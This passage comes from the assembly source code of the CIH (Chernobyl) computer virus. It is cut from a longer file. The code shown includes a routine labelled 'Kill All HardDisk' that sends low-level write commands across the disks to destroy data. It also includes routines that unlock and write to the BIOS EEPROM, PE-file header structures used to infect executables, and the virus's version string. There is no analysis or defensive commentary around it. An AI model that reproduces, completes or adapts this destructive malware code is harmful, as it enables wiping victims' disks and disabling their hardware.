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; ***********************
; * Hide BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; ***********************
; or al,10h
mov word ptr (BooleanCalculateCode-@10)[esi], 100ch
call esi
; ***************************
; * Kill All HardDisk *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************
KillHardDisk:
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecx
mov esi, esp
sub esp, 0ach
LoopOfKillHardDisk:
int 20h
dd 00100004h ; VXDCall IOS_SendCommand
cmp word ptr [esi+06h], 0017h
je KillNextDataSection
ChangeNextHardDisk:
inc byte ptr [esi+4dh]
jmp LoopOfKillHardDisk
KillNextDataSection:
add dword ptr [esi+10h], ebx
mov byte ptr [esi+4dh], FirstKillHardDiskNumber
jmp LoopOfKillHardDisk
; ***************************
; * Enable EEPROM to Write *
; ***************************
EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], al
ret
; ***************************
; * IO for EEPROM *
; ***************************
IOForEEPROM:
@10 = IOForEEPROM
xchg eax, edi
xchg edx, ebp
out dx, eax
xchg eax, edi
xchg edx, ebp
in al, dx
BooleanCalculateCode = $
or al, 44h
xchg eax, edi
xchg edx, ebp
out dx, eax
xchg eax, edi
xchg edx, ebp
out dx, al
ret
; *********************************************************
; * Static Data *
; *********************************************************
LastVxDCallAddress = IFSMgr_Ring0_FileIO
VxDCallAddressTable db 00h
db IFSMgr_RemoveFileSystemApiHook-_PageAllocate
db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO-UniToBCSPath
VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h
VxDCallTableSize = ($-VxDCallIDTable)/04h
; *********************************************************
; * Virus Version Copyright *
; *********************************************************
VirusVersionCopyright db 'CIH v'
db MajorVirusVersion+'0'
db '.'
db MinorVirusVersion+'0'
db ' TATUNG'
; *********************************************************
; * Virus Size *
; *********************************************************
VirusSize = $
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h)
; *********************************************************
; * Dynamic Data *
; *********************************************************
VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress
OnBusy db 0
FileModificationTime dd ?
FileNameBuffer db FileNameBufferSize dup(?)
@7 = FileNameBuffer
DataBuffer = $
@8 = DataBuffer
NumberOfSections dw ?
TimeDateStamp dd ?
SymbolsPointer dd ?
NumberOfSymbols dd ?
SizeOfOptionalHeader dw ?
_Characteristics dw ?
Magic dw ?
LinkerVersion dw ?
SizeOfCode dd ?
SizeOfInitializedData dd ?
SizeOfUninitializedData dd ?
AddressOfEntryPoint dd ?
BaseOfCode dd ?
BaseOfData dd ?
ImageBase dd ?
@9 = $
SectionAlignment dd ?
FileAlignment dd ?
OperatingSystemVersion dd ?
ImageVersion dd ?
SubsystemVersion dd ?
Reserved dd ?
SizeOfImage dd ?
SizeOfHeaders dd ?
SizeOfImageHeaderToRead = $-NumberOfSections
NewAddressOfEntryPoint = DataBuffer ; DWORD
SizeOfImageHeaderToWrite = 04h
StartOfSectionTable = @9
SectionName = StartOfSectionTable ; QWORD
VirtualSize = StartOfSectionTable+08h ; DWORD
VirtualAddress = StartOfSectionTable+0ch ; DWORD
SizeOfRawData = StartOfSectionTable+10h ; DWORD
PointerToRawData = StartOfSectionTable+14h ; DWORD
PointerToRelocations = StartOfSectionTable+18h ; DWORD
PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD
NumberOfRelocations = StartOfSectionTable+20h ; WORD
NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD
Characteristics = StartOfSectionTable+24h ; DWORD
SizeOfScetionTable = Characteristics+04h-SectionName
; *********************************************************
; * Virus Total Need Memory *
; *********************************************************
VirusNeedBaseMemory = $
VirusTotalNeedMemory = @9
; + NumberOfSections(??)*SizeOfScetionTable(28h)
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h)
; *********************************************************
; ********************************************************* |
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